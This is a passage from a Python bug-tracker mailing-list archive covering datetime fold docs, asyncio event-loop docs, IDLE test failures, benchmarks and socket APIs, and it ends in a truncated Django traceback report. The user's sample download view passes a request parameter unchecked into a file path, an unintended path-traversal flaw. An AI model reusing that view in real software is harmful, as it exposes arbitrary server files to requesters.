Belopolsky) Date: Mon, 08 Aug 2016 19:05:23 +0000 Subject: [issue27595] Document PEP 495 (Local Time Disambiguation) features In-Reply-To: <1469227954.48.0.374414498519.issue27595@psf.upfronthosting.co.za> Message-ID: <1470683123.04.0.805024802369.issue27595@psf.upfronthosting.co.za> Alexander Belopolsky added the comment: I am attaching the first cut of the documentation changes. Note that I am deliberately trying to keep the information about the fold to the minimum in the reference manual. I don't think the details of how fold works are of interest to anyone other then those who implement the tzinfo subclasses. ---------- keywords: +patch Added file: http://bugs.python.org/file44053/issue27595.diff _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Aug 8 16:56:20 2016 From: report at bugs.python.org (Guido van Rossum) Date: Mon, 08 Aug 2016 20:56:20 +0000 Subject: [issue27700] Document asyncio.AbstractEventLoop, not asyncio.BaseEventLoop In-Reply-To: <1470501779.75.0.27358865288.issue27700@psf.upfronthosting.co.za> Message-ID: <1470689780.42.0.322278195328.issue27700@psf.upfronthosting.co.za> Changes by Guido van Rossum : ---------- stage: needs patch -> patch review _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Aug 8 17:01:18 2016 From: report at bugs.python.org (Yury Selivanov) Date: Mon, 08 Aug 2016 21:01:18 +0000 Subject: [issue27700] Document asyncio.AbstractEventLoop, not asyncio.BaseEventLoop In-Reply-To: <1470501779.75.0.27358865288.issue27700@psf.upfronthosting.co.za> Message-ID: <1470690078.01.0.581336274773.issue27700@psf.upfronthosting.co.za> Yury Selivanov added the comment: The patch looks good. I have a question: do we actually want to document BaseEventLoop? It's not a user-facing class, and the knowledge that it exists doesn't add to anything IMO. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Aug 8 17:05:45 2016 From: report at bugs.python.org (Roundup Robot) Date: Mon, 08 Aug 2016 21:05:45 +0000 Subject: [issue27710] Disallow fold not in [0, 1] in time and datetime constructors In-Reply-To: <1470670993.43.0.0364864987438.issue27710@psf.upfronthosting.co.za> Message-ID: <20160808210542.108495.50781.FBF7F466@psf.io> Roundup Robot added the comment: New changeset 035778fdc641 by Alexander Belopolsky in branch 'default': Closes #27710: Disallow fold not in [0, 1] in time and datetime constructors. https://hg.python.org/cpython/rev/035778fdc641 ---------- nosy: +python-dev resolution: -> fixed stage: -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Aug 8 17:37:04 2016 From: report at bugs.python.org (Guido van Rossum) Date: Mon, 08 Aug 2016 21:37:04 +0000 Subject: [issue27700] Document asyncio.AbstractEventLoop, not asyncio.BaseEventLoop In-Reply-To: <1470690078.01.0.581336274773.issue27700@psf.upfronthosting.co.za> Message-ID: Guido van Rossum added the comment: The reason I kept some mention of BaseEventLoop is just that until now it was the only thing documented and people might have references to it. It would be good if searching for BaseEventLoop took them to a section explaining they shouldn't use it, rather than just mysteriously failing to turn up any search results at all. And given that it *is* the base class I think we can't mark it as deprecated (and I don't think that's needed yet). ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Aug 8 17:39:52 2016 From: report at bugs.python.org (Yury Selivanov) Date: Mon, 08 Aug 2016 21:39:52 +0000 Subject: [issue27700] Document asyncio.AbstractEventLoop, not asyncio.BaseEventLoop In-Reply-To: <1470501779.75.0.27358865288.issue27700@psf.upfronthosting.co.za> Message-ID: <1470692392.98.0.658285716592.issue27700@psf.upfronthosting.co.za> Yury Selivanov added the comment: Fair enough. I don't have any other questions about the patch. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Aug 8 17:44:13 2016 From: report at bugs.python.org (Roundup Robot) Date: Mon, 08 Aug 2016 21:44:13 +0000 Subject: [issue27700] Document asyncio.AbstractEventLoop, not asyncio.BaseEventLoop In-Reply-To: <1470501779.75.0.27358865288.issue27700@psf.upfronthosting.co.za> Message-ID: <20160808214410.11584.21420.6B623763@psf.io> Roundup Robot added the comment: New changeset 87e3a58ed3c3 by Guido van Rossum in branch '3.5': Issue #27700: Document AbstractEventLoop, not BaseEventLoop. https://hg.python.org/cpython/rev/87e3a58ed3c3 New changeset d69f782d642d by Guido van Rossum in branch 'default': Issue #27700: Document AbstractEventLoop, not BaseEventLoop. (Merge 3.5->3.6) https://hg.python.org/cpython/rev/d69f782d642d ---------- nosy: +python-dev _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Aug 8 17:44:32 2016 From: report at bugs.python.org (Guido van Rossum) Date: Mon, 08 Aug 2016 21:44:32 +0000 Subject: [issue27700] Document asyncio.AbstractEventLoop, not asyncio.BaseEventLoop In-Reply-To: <1470501779.75.0.27358865288.issue27700@psf.upfronthosting.co.za> Message-ID: <1470692672.66.0.472328698346.issue27700@psf.upfronthosting.co.za> Changes by Guido van Rossum : ---------- resolution: -> fixed status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Aug 8 17:44:42 2016 From: report at bugs.python.org (Guido van Rossum) Date: Mon, 08 Aug 2016 21:44:42 +0000 Subject: [issue27700] Document asyncio.AbstractEventLoop, not asyncio.BaseEventLoop In-Reply-To: <1470501779.75.0.27358865288.issue27700@psf.upfronthosting.co.za> Message-ID: <1470692682.71.0.259808189544.issue27700@psf.upfronthosting.co.za> Changes by Guido van Rossum : ---------- stage: patch review -> resolved _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Aug 8 17:47:07 2016 From: report at bugs.python.org (SilentGhost) Date: Mon, 08 Aug 2016 21:47:07 +0000 Subject: [issue27709] difflib.HtmlDiff produces different output from difflib.ndiff In-Reply-To: <1470670857.15.0.245619921121.issue27709@psf.upfronthosting.co.za> Message-ID: <1470692827.46.0.354700519629.issue27709@psf.upfronthosting.co.za> SilentGhost added the comment: The degenerate behaviour appears ultimately due to the autojunk heuristic. Given that autojunk defaults to True and there isn't any way to change via most user-facing functions, I don't think there is an easy resolution that can be found here. I'm going to withdraw the earlier patch, since it feels like a half-measure which enable correct behaviour by accident. ---------- nosy: +eli.bendersky, terry.reedy stage: patch review -> needs patch _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Aug 8 17:47:15 2016 From: report at bugs.python.org (SilentGhost) Date: Mon, 08 Aug 2016 21:47:15 +0000 Subject: [issue27709] difflib.HtmlDiff produces different output from difflib.ndiff In-Reply-To: <1470670857.15.0.245619921121.issue27709@psf.upfronthosting.co.za> Message-ID: <1470692835.53.0.0556257929252.issue27709@psf.upfronthosting.co.za> Changes by SilentGhost : Removed file: http://bugs.python.org/file44049/donttrim.diff _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Aug 8 18:01:15 2016 From: report at bugs.python.org (STINNER Victor) Date: Mon, 08 Aug 2016 22:01:15 +0000 Subject: [issue27128] Add _PyObject_FastCall() In-Reply-To: <1464257756.81.0.101125062969.issue27128@psf.upfronthosting.co.za> Message-ID: <1470693675.67.0.863843301106.issue27128@psf.upfronthosting.co.za> STINNER Victor added the comment: I spent the last 3 months on making the CPython benchmark suite more stable and enhance my procedure to run benchmarks to ensure that benchmarks are more stable. See my articles: https://haypo-notes.readthedocs.io/microbenchmark.html#my-articles I forked and enhanced the benchmark suite to use my perf module to run benchmarks in multiple processes: https://hg.python.org/sandbox/benchmarks_perf I ran this better benchmark suite on fastcall-2.patch on my laptop. The result is quite good: ---------------- $ python3 -m perf compare_to ref.json fastcall.json -G --min-speed=5 Slower (4): - fastpickle/pickle_dict: 326 us +- 15 us -> 350 us +- 29 us: 1.07x slower - regex_effbot: 49.4 ms +- 1.3 ms -> 53.0 ms +- 1.2 ms: 1.07x slower - fastpickle/pickle: 432 us +- 8 us -> 457 us +- 10 us: 1.06x slower - pybench.ComplexPythonFunctionCalls: 838 ns +- 11 ns -> 884 ns +- 8 ns: 1.05x slower Faster (13): - spectral_norm: 289 ms +- 6 ms -> 250 ms +- 5 ms: 1.16x faster - pybench.SimpleIntFloatArithmetic: 622 ns +- 9 ns -> 559 ns +- 10 ns: 1.11x faster - pybench.SimpleIntegerArithmetic: 621 ns +- 10 ns -> 560 ns +- 9 ns: 1.11x faster - pybench.SimpleLongArithmetic: 891 ns +- 12 ns -> 816 ns +- 10 ns: 1.09x faster - pybench.DictCreation: 852 ns +- 13 ns -> 788 ns +- 16 ns: 1.08x faster - pybench.ForLoops: 10.8 ns +- 0.3 ns -> 9.99 ns +- 0.23 ns: 1.08x faster - pybench.NormalClassAttribute: 1.85 us +- 0.02 us -> 1.72 us +- 0.04 us: 1.08x faster - pybench.SpecialClassAttribute: 1.86 us +- 0.02 us -> 1.73 us +- 0.03 us: 1.07x faster - pybench.NestedForLoops: 21.9 ns +- 0.3 ns -> 20.7 ns +- 0.3 ns: 1.05x faster - pybench.SimpleListManipulation: 501 ns +- 4 ns -> 476 ns +- 5 ns: 1.05x faster - elementtree/process: 192 ms +- 3 ms -> 183 ms +- 2 ms: 1.05x faster - elementtree/generate: 225 ms +- 5 ms -> 214 ms +- 4 ms: 1.05x faster - hexiom2/level_25: 21.3 ms +- 0.3 ms -> 20.3 ms +- 0.1 ms: 1.05x faster Benchmark hidden because not significant (84): (...) ---------------- Most benchmarks are not significant which is expected since fastcall-2.patch is really the most simple patch to start the work on "FASTCALL", it doesn't really implement any optimization, it only adds a new infrastructure to implement new optimizations. A few benchmarks are faster (only benchmarks at least 5% faster are shown using --min-speed=5). 4 benchmarks are slower, but the slowdown should be temporarily: new optimizations should these benchmarks slower. See the issue #26814 for more a concrete implementation and a lot of benchmark results if you don't trust me :-) I consider that benchmarks proved that there is no major slowdown, so fastcall-2.patch can be merged to be able to start working on real optimizations. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Aug 8 18:01:27 2016 From: report at bugs.python.org (Ned Deily) Date: Mon, 08 Aug 2016 22:01:27 +0000 Subject: [issue27380] IDLE: add base Query dialog with ttk widgets In-Reply-To: <1466741717.27.0.533147933113.issue27380@psf.upfronthosting.co.za> Message-ID: <1470693687.29.0.233067791061.issue27380@psf.upfronthosting.co.za> Ned Deily added the comment: test_click_help_source fails on OS X: ====================================================================== FAIL: test_click_help_source (idlelib.idle_test.test_query.HelpsourceGuiTest) ---------------------------------------------------------------------- Traceback (most recent call last): File "/Library/Frameworks/Python.framework/Versions/3.6/lib/python3.6/idlelib/idle_test/test_query.py", line 389, in test_click_help_source Equal(dialog.result, ('__test__', __file__)) AssertionError: Tuples differ: ('__test__', 'file:///Library/Frameworks/Python.framewo[58 chars].py') != ('__test__', '/Library/Frameworks/Python.framework/Vers[51 chars].py') First differing element 1: 'file:///Library/Frameworks/Python.framewo[57 chars]y.py' '/Library/Frameworks/Python.framework/Vers[50 chars]y.py' ('__test__', - 'file:///Library/Frameworks/Python.framework/Versions/3.6/lib/python3.6/idlelib/idle_test/test_query.py') ? ------- + '/Library/Frameworks/Python.framework/Versions/3.6/lib/python3.6/idlelib/idle_test/test_query.py') ---------- nosy: +ned.deily resolution: fixed -> stage: resolved -> needs patch status: closed -> open _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Aug 8 18:17:43 2016 From: report at bugs.python.org (Brett Cannon) Date: Mon, 08 Aug 2016 22:17:43 +0000 Subject: [issue10910] pyport.h FreeBSD/Mac OS X "fix" causes errors in C++ compilation In-Reply-To: <1295040100.28.0.0907494738582.issue10910@psf.upfronthosting.co.za> Message-ID: <1470694663.38.0.749615304984.issue10910@psf.upfronthosting.co.za> Brett Cannon added the comment: What do you think, Ned? ---------- assignee: ronaldoussoren -> ned.deily nosy: +benjamin.peterson, brett.cannon, georg.brandl, larry, ned.deily priority: normal -> release blocker _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Aug 8 19:14:56 2016 From: report at bugs.python.org (Ned Deily) Date: Mon, 08 Aug 2016 23:14:56 +0000 Subject: [issue27714] some test_idle tests are not re-runnable, producing false failures with regrtest -w option Message-ID: <1470698096.85.0.204645941326.issue27714@psf.upfronthosting.co.za> New submission from Ned Deily: If you run test_idle using the standard Python regression test runner, regrtest, and use regrtest's -w option (to re-run failure test verbosely) *without* using regrtest's -j option (to run tests in separate processes), any real test failure triggering a rerun will cause a number of additional false IDLE test case failures because some test cases modify global state in such a way as to be not re-runable. An example: at the moment there is a real IDLE test case failure (see Issue27830). If I run test_idle with both -w and -j options: $ /usr/local/bin/python3.6 -m test -w -j2 -uall test_idle Run tests in parallel using 2 child processes 0:00:01 [1/1/1] test_idle failed can't invoke "event" command: application has been destroyed while executing "event generate $w <>" (procedure "ttk::ThemeChanged" line 6) invoked from within "ttk::ThemeChanged" test test_idle failed -- Traceback (most recent call last): File "/Library/Frameworks/Python.framework/Versions/3.6/lib/python3.6/idlelib/idle_test/test_query.py", line 389, in test_click_help_source Equal(dialog.result, ('__test__', __file__)) AssertionError: Tuples differ: ('__test__', 'file:///Library/Frameworks/Python.framewo[58 chars].py') != ('__test__', '/Library/Frameworks/Python.framework/Vers[51 chars].py') First differing element 1: 'file:///Library/Frameworks/Python.framewo[57 chars]y.py' '/Library/Frameworks/Python.framework/Vers[50 chars]y.py' ('__test__', - 'file:///Library/Frameworks/Python.framework/Versions/3.6/lib/python3.6/idlelib/idle_test/test_query.py') ? ------- + '/Library/Frameworks/Python.framework/Versions/3.6/lib/python3.6/idlelib/idle_test/test_query.py') 1 test failed: test_idle Re-running failed tests in verbose mode Re-running test 'test_idle' in verbose mode test_autocomplete_event (idlelib.idle_test.test_autocomplete.AutoCompleteTest) ... ok test_delayed_open_completions (idlelib.idle_test.test_autocomplete.AutoCompleteTest) ... ok [...] test_shell_show (idlelib.idle_test.test_warning.ShellWarnTest) ... ok test_showwarnings (idlelib.idle_test.test_warning.ShellWarnTest) ... ok ====================================================================== FAIL: test_click_help_source (idlelib.idle_test.test_query.HelpsourceGuiTest) ---------------------------------------------------------------------- Traceback (most recent call last): File "/Library/Frameworks/Python.framework/Versions/3.6/lib/python3.6/idlelib/idle_test/test_query.py", line 389, in test_click_help_source Equal(dialog.result, ('__test__', __file__)) AssertionError: Tuples differ: ('__test__', 'file:///Library/Frameworks/Python.framewo[58 chars].py') != ('__test__', '/Library/Frameworks/Python.framework/Vers[51 chars].py') First differing element 1: 'file:///Library/Frameworks/Python.framewo[57 chars]y.py' '/Library/Frameworks/Python.framework/Vers[50 chars]y.py' ('__test__', - 'file:///Library/Frameworks/Python.framework/Versions/3.6/lib/python3.6/idlelib/idle_test/test_query.py') ? ------- + '/Library/Frameworks/Python.framework/Versions/3.6/lib/python3.6/idlelib/idle_test/test_query.py') ---------------------------------------------------------------------- Ran 219 tests in 0.977s FAILED (failures=1) only the 1 valid test case failure shows up. But if I run test_idle with just -w (no -j) options: $ /usr/local/bin/python3.6 -m test -w -uall test_idle Run tests sequentially 0:00:00 [1/1] test_idle can't invoke "event" command: application has been destroyed while executing "event generate $w <>" (procedure "ttk::ThemeChanged" line 6) invoked from within "ttk::ThemeChanged" test test_idle failed -- Traceback (most recent call last): File "/Library/Frameworks/Python.framework/Versions/3.6/lib/python3.6/idlelib/idle_test/test_query.py", line 389, in test_click_help_source Equal(dialog.result, ('__test__', __file__)) AssertionError: Tuples differ: ('__test__', 'file:///Library/Frameworks/Python.framewo[58 chars].py') != ('__test__', '/Library/Frameworks/Python.framework/Vers[51 chars].py') First differing element 1: 'file:///Library/Frameworks/Python.framewo[57 chars]y.py' '/Library/Frameworks/Python.framework/Vers[50 chars]y.py' ('__test__', - 'file:///Library/Frameworks/Python.framework/Versions/3.6/lib/python3.6/idlelib/idle_test/test_query.py') ? ------- + '/Library/Frameworks/Python.framework/Versions/3.6/lib/python3.6/idlelib/idle_test/test_query.py') test_idle failed 1 test failed: test_idle Re-running failed tests in verbose mode Re-running test 'test_idle' in verbose mode test_autocomplete_event (idlelib.idle_test.test_autocomplete.AutoCompleteTest) ... ok test_delayed_open_completions (idlelib.idle_test.test_autocomplete.AutoCompleteTest) ... ok [...] test_no_delete (idlelib.idle_test.test_text.TkTextTest) ... ok test_init_modal (idlelib.idle_test.test_textview.TextViewTest) ... ERROR test_init_nonmodal (idlelib.idle_test.test_textview.TextViewTest) ... ERROR test_ok (idlelib.idle_test.test_textview.TextViewTest) ... ERROR test_view_file (idlelib.idle_test.test_textview.ViewFunctionTest) ... ok test_view_text (idlelib.idle_test.test_textview.ViewFunctionTest) ... ok ERROR test_init (idlelib.idle_test.test_tree.TreeTest) ... ok [...] test_showwarnings (idlelib.idle_test.test_warning.ShellWarnTest) ... ok ====================================================================== ERROR: test_init_modal (idlelib.idle_test.test_textview.TextViewTest) ---------------------------------------------------------------------- Traceback (most recent call last): File "/Library/Frameworks/Python.framework/Versions/3.6/lib/python3.6/idlelib/idle_test/test_textview.py", line 40, in setUp TV.transient.__init__() NameError: name 'TV' is not defined ====================================================================== ERROR: test_init_nonmodal (idlelib.idle_test.test_textview.TextViewTest) ---------------------------------------------------------------------- Traceback (most recent call last): File "/Library/Frameworks/Python.framework/Versions/3.6/lib/python3.6/idlelib/idle_test/test_textview.py", line 40, in setUp TV.transient.__init__() NameError: name 'TV' is not defined ====================================================================== ERROR: test_ok (idlelib.idle_test.test_textview.TextViewTest) ---------------------------------------------------------------------- Traceback (most recent call last): File "/Library/Frameworks/Python.framework/Versions/3.6/lib/python3.6/idlelib/idle_test/test_textview.py", line 40, in setUp TV.transient.__init__() NameError: name 'TV' is not defined ====================================================================== ERROR: tearDownModule (idlelib.idle_test.test_textview) ---------------------------------------------------------------------- Traceback (most recent call last): File "/Library/Frameworks/Python.framework/Versions/3.6/lib/python3.6/idlelib/idle_test/test_textview.py", line 26, in tearDownModule del TV NameError: name 'TV' is not defined ====================================================================== FAIL: test_click_help_source (idlelib.idle_test.test_query.HelpsourceGuiTest) ---------------------------------------------------------------------- Traceback (most recent call last): File "/Library/Frameworks/Python.framework/Versions/3.6/lib/python3.6/idlelib/idle_test/test_query.py", line 389, in test_click_help_source Equal(dialog.result, ('__test__', __file__)) AssertionError: Tuples differ: ('__test__', 'file:///Library/Frameworks/Python.framewo[58 chars].py') != ('__test__', '/Library/Frameworks/Python.framework/Vers[51 chars].py') First differing element 1: 'file:///Library/Frameworks/Python.framewo[57 chars]y.py' '/Library/Frameworks/Python.framework/Vers[50 chars]y.py' ('__test__', - 'file:///Library/Frameworks/Python.framework/Versions/3.6/lib/python3.6/idlelib/idle_test/test_query.py') ? ------- + '/Library/Frameworks/Python.framework/Versions/3.6/lib/python3.6/idlelib/idle_test/test_query.py') ---------------------------------------------------------------------- Ran 219 tests in 0.998s FAILED (failures=1, errors=4) now there are 4 or 5 errors in addition to the 1 failure. The fifth false error is somewhat timing dependent, e.g. it shows up some of the time while the other 4 always show up: ====================================================================== ERROR: setUpClass (idlelib.idle_test.test_autocomplete.AutoCompleteTest) ---------------------------------------------------------------------- Traceback (most recent call last): File "/Library/Frameworks/Python.framework/Versions/3.6/lib/python3.6/idlelib/idle_test/test_autocomplete.py", line 34, in setUpClass macosx.setupApp(cls.root, None) File "/Library/Frameworks/Python.framework/Versions/3.6/lib/python3.6/idlelib/macosx.py", line 245, in setupApp overrideRootMenu(root, flist) File "/Library/Frameworks/Python.framework/Versions/3.6/lib/python3.6/idlelib/macosx.py", line 215, in overrideRootMenu del mainmenu.menudefs[-1][1][0] IndexError: list assignment index out of range It's not a critical problem but it can be very confusing if you have not run into the problem before and can cause lost time trying to track down the false errors. ---------- assignee: terry.reedy components: IDLE messages: 272200 nosy: ned.deily, terry.reedy priority: low severity: normal status: open title: some test_idle tests are not re-runnable, producing false failures with regrtest -w option versions: Python 3.5, Python 3.6 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Aug 8 20:02:07 2016 From: report at bugs.python.org (STINNER Victor) Date: Tue, 09 Aug 2016 00:02:07 +0000 Subject: [issue27574] Faster parsing keyword arguments In-Reply-To: <1468944235.85.0.107735525995.issue27574@psf.upfronthosting.co.za> Message-ID: <1470700927.16.0.599472523386.issue27574@psf.upfronthosting.co.za> STINNER Victor added the comment: See also the old issue #17170 "string method lookup is too slow". ---------- nosy: +haypo _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Aug 8 21:08:28 2016 From: report at bugs.python.org (Ethan Furman) Date: Tue, 09 Aug 2016 01:08:28 +0000 Subject: [issue26988] Add AutoNumberedEnum to stdlib In-Reply-To: <1462844071.91.0.106881823757.issue26988@psf.upfronthosting.co.za> Message-ID: <1470704908.98.0.992644466687.issue26988@psf.upfronthosting.co.za> Changes by Ethan Furman : ---------- resolution: -> fixed stage: -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Aug 8 21:13:51 2016 From: report at bugs.python.org (Ethan Furman) Date: Tue, 09 Aug 2016 01:13:51 +0000 Subject: [issue23591] Add Flags and IntFlags In-Reply-To: <1425569483.33.0.144069723147.issue23591@psf.upfronthosting.co.za> Message-ID: <1470705231.1.0.728533900907.issue23591@psf.upfronthosting.co.za> Ethan Furman added the comment: Flags -> int-backed, but not ints; useful for pure Python flags IntFlags -> ints (like IntEnum); useful for interfacing with other systems Are there better names? ---------- title: Add IntFlags -> Add Flags and IntFlags _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Aug 8 21:25:04 2016 From: report at bugs.python.org (Yury Selivanov) Date: Tue, 09 Aug 2016 01:25:04 +0000 Subject: [issue27392] Add a server_side keyword parameter to create_connection In-Reply-To: <1466957117.0.0.423625085233.issue27392@psf.upfronthosting.co.za> Message-ID: <1470705904.53.0.242888959153.issue27392@psf.upfronthosting.co.za> Yury Selivanov added the comment: Hm, I'm working on adding connect_accepted_socket to the uvloop. There is one difference between connect_accepted_socket and create_server/create_unix_server: the latter APIs forbid to pass boolean `ssl` argument, they require `ssl` to be an instance of `SSLContext`. Should we have the same requirement for the 'ssl' argument of newly added 'connect_accepted_socket'? ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Aug 8 21:38:54 2016 From: report at bugs.python.org (Yury Selivanov) Date: Tue, 09 Aug 2016 01:38:54 +0000 Subject: [issue27392] Add a server_side keyword parameter to create_connection In-Reply-To: <1466957117.0.0.423625085233.issue27392@psf.upfronthosting.co.za> Message-ID: <1470706734.27.0.688831296172.issue27392@psf.upfronthosting.co.za> Yury Selivanov added the comment: Also I think we should add a check, that the passed socket is AF_UNIX or AF_INET(6) ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Aug 8 21:40:52 2016 From: report at bugs.python.org (Guido van Rossum) Date: Tue, 09 Aug 2016 01:40:52 +0000 Subject: [issue27392] Add a server_side keyword parameter to create_connection In-Reply-To: <1470705904.53.0.242888959153.issue27392@psf.upfronthosting.co.za> Message-ID: Guido van Rossum added the comment: Oh, I see. create_connection(..., ssl=True) creates a default SSLContext, but create_server(..., ssl=True) is invalid, it requires ssl=SSLContext(...). I like the latter for connect_accepted_socket(). I think Jim will happily comply. What would happen if some other socket type was passed? Would anything go wrong, assuming it's a socket type that understands connections? (I think checking for SOCK_STREAM is more important maybe). ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Aug 8 21:42:29 2016 From: report at bugs.python.org (Yury Selivanov) Date: Tue, 09 Aug 2016 01:42:29 +0000 Subject: [issue27392] Add a server_side keyword parameter to create_connection In-Reply-To: <1466957117.0.0.423625085233.issue27392@psf.upfronthosting.co.za> Message-ID: <1470706949.61.0.0634105315553.issue27392@psf.upfronthosting.co.za> Yury Selivanov added the comment: > What would happen if some other socket type was passed? Would anything go wrong, assuming it's a socket type that understands connections? (I think checking for SOCK_STREAM is more important maybe). In uvloop I have to create different libuv handles for AF_UNIX and AF_INET. I think I can only support those families. Cheking for SOCK_STREAM is also important. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Aug 8 21:44:27 2016 From: report at bugs.python.org (Guido van Rossum) Date: Tue, 09 Aug 2016 01:44:27 +0000 Subject: [issue27392] Add a server_side keyword parameter to create_connection In-Reply-To: <1470706949.61.0.0634105315553.issue27392@psf.upfronthosting.co.za> Message-ID: Guido van Rossum added the comment: I think it's okay if uvloop only handles those socket types. But if asyncio may be able to handle other types we shouldn't reject them just because we haven't heard about them. (E.g. IIRC someone was using Bluetooth sockets.) ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Aug 8 22:31:23 2016 From: report at bugs.python.org (Philip Lee) Date: Tue, 09 Aug 2016 02:31:23 +0000 Subject: [issue27682] Windows Error 10053, ConnectionAbortedError: [WinError 10053] An established connection was aborted by the software in your host machine In-Reply-To: <1470313993.65.0.630797703267.issue27682@psf.upfronthosting.co.za> Message-ID: <1470709883.38.0.458322014171.issue27682@psf.upfronthosting.co.za> Philip Lee added the comment: I use the following django view function also produce the same exception def sendFiles(request): fileName = request.GET['fileName'] pathToFile = os.path.join(filesDir, fileName) response = FileResponse(open(pathToFile, 'rb')) response['Content-Type'] = 'application/octet-stream' response[ 'Content-Disposition'] = 'attachment; fileName="{}"'.format(fileName) response['Content-Length'] = os.path.getsize(pathToFile) # HttpResponse(open(os.path.join(os.getcwd(), 'LYYDownloaderServer.log'), 'r'), content_type='text/plain') return response Tested with sending file Git-2.8.4-32-bit.exe (29.8MB), if tested with sending file GitHubSetup.exe(670kb),then no exception occurred. the exception like the following return self._sock.send(b) ConnectionAbortedError: [WinError 10053] ??????????????????? ? [09/Aug/2016 10:30:13] "GET /FileHost/?fileName=Git-2.8.4-32-bit.exe HTTP/1.1" 5 00 59 ---------------------------------------- Exception happened during processing of request from ('127.0.0.1', 62237) Traceback (most recent call last): File "C:\Users\i\AppData\Local\Programs\Python\Python35-32\lib\wsgiref\handler s.py", line 138, in run self.finish_response() File "C:\Users\i\AppData\Local\Programs\Python\Python35-32\lib\wsgiref\handler s.py", line 180, in finish_response self.write(data) File "C:\Users\i\AppData\Local\Programs\Python\Python35-32\lib\wsgiref\handler s.py", line 274, in write self.send_headers() File "C:\Users\i\AppData\Local\Programs\Python\Python35-32\lib\wsgiref\handler s.py", line 332, in send_headers self.send_preamble() File "C:\Users\i\AppData\Local\Programs\Python\Python35-32\lib\wsgiref\handler s.py", line 255, in send_preamble ('Date: %s\r\n' % format_date_time(time.time())).encode('iso-8859-1') File "C:\Users\i\AppData\Local\Programs\Python\Python35-32\lib\wsgiref\handler s.py", line 453, in _write result = self.stdout.write(data) File "C:\Users\i\AppData\Local\Programs\Python\Python35-32\lib\socket.py", lin e 593, in write return self._sock.send(b) ConnectionAbortedError: [WinError 10053] ??????????????????? ? During handling of the above exception, another exception occurred: Traceback (most recent call last): File "C:\Users\i\AppData\Local\Programs\Python\Python35-32\lib\wsgiref\handler s.py", line 141, in run self.handle_error() File "C:\Users\i\AppData\Local\Programs\Python\Python35-32\lib\site-packages\d jango\core\servers\basehttp.py", line 92, in handle_error super(ServerHandler, self).handle_error() File "C:\Users\i\AppData\Local\Programs\Python\Python35-32\lib\wsgiref\handler s.py", line 368, in handle_error self.finish_response() File "C:\Users\i\AppData\Local\Programs\Python\Python35-32\lib\wsgiref\handler s.py", line 180, in finish_response self.write(data) File "C:\Users\i\AppData\Local\Programs\Python\Python35-32\lib\wsgiref\handler s.py", line 274, in write self.send_headers() File "C:\Users\i\AppData\Local\Programs\Python\Python35-32\lib\wsgiref\handler s.py", line 331, in send_headers if not self.origin_server or self.client_is_modern(): File "C:\Users\i\AppData\Local\Programs\Python\Python35-32\lib\wsgiref\handler s.py", line 344, in client_is_modern return self.environ['SERVER_PROTOCOL'].upper() != 'HTTP/0.9' TypeError: 'NoneType' object is not subscriptable During handling of the above exception, another exception occurred: Traceback (most recent call last): File "C:\Users\i\AppData\Local\Programs\Python\Python35-32\lib\socketserver.py ", line 625, in process_request_thread self.finish_request(request, client_address) File "C:\Users\i\AppData\Local\Programs\Python\Python35-32\lib\socketserver.py ", line 354, in finish_request self.RequestHandlerClass(request, client_address, self) File "C:\Users\i\AppData\Local\Programs\Python\Python35-32\lib\site-packages\d jango\core\servers\basehttp.py", line 99, in __init__ super(WSGIRequestHandler, self).__init__(*args, **kwargs) File "C:\Users\i\AppData\Local\Programs\Python\Python35-32\lib\socketserver.py ", line 681, in __init__ self.handle() File "C:\Users\i\AppData\Local\Programs\Python\Python35-32\lib\site-packages\d jango\core\servers\basehttp.py", line 179, in handle handler.run(self.server.get_app()) File "C:\Users\i\AppData\Local\Programs\Python\Python35-32\lib\wsgiref\handler s.py", line 144, in run self.close() File "C:\Users\i\AppData\Local\Programs\Python\Python35-32\lib\wsgiref\simple_ server.py", line 36, in close self.status.split(' ',1)[0], self.bytes_sent AttributeError: 'NoneType' object has no attribute 'split' ---------------------------------------- [09/Aug/2016 10:30:13] "GET /FileHost/?fileName=Git-2.8.4-32-bit.exe HTTP/1.1" 2 00 8192 Traceback (most recent call last): File "C:\Users\i\AppData\Local\Programs\Python\Python35-32\lib\wsgiref\handler s.py", line 138, in run self.finish_response() File "C:\Users\i\AppData\Local\Programs\Python\Python35-32\lib\wsgiref\handler s.py", line 180, in finish_response self.write(data) File "C:\Users\i\AppData\Local\Programs\Python\Python35-32\lib\wsgiref\handler s.py", line 274, in write self.send_headers() File "C:\Users\i\AppData\Local\Programs\Python\Python35-32\lib\wsgiref\handler s.py", line 332, in send_headers self.send_preamble() File "C:\Users\i\AppData\Local\Programs\Python\Python35-32\lib\wsgiref\handler s.py", line 255, in send_preamble ('Date: %s\r\n' % format_date_time(time.time())).encode('iso-8859-1') File "C:\Users\i\AppData\Local\Programs\Python\Python35-32\lib\wsgiref\handler s.py", line 453, in _write result = self.stdout.write(data) File "C:\Users\i\AppData\Local\Programs\Python\Python35-32\lib\socket.py", lin e 593, in write return self._sock.send(b) ConnectionAbortedError: [WinError 10053] ??????????????????? ? [09/Aug/2016 10:30:13] "GET /FileHost/?fileName=Git-2.8.4-32-bit.exe HTTP/1.1" 5 00 59 ---------------------------------------- Exception happened during processing of request from 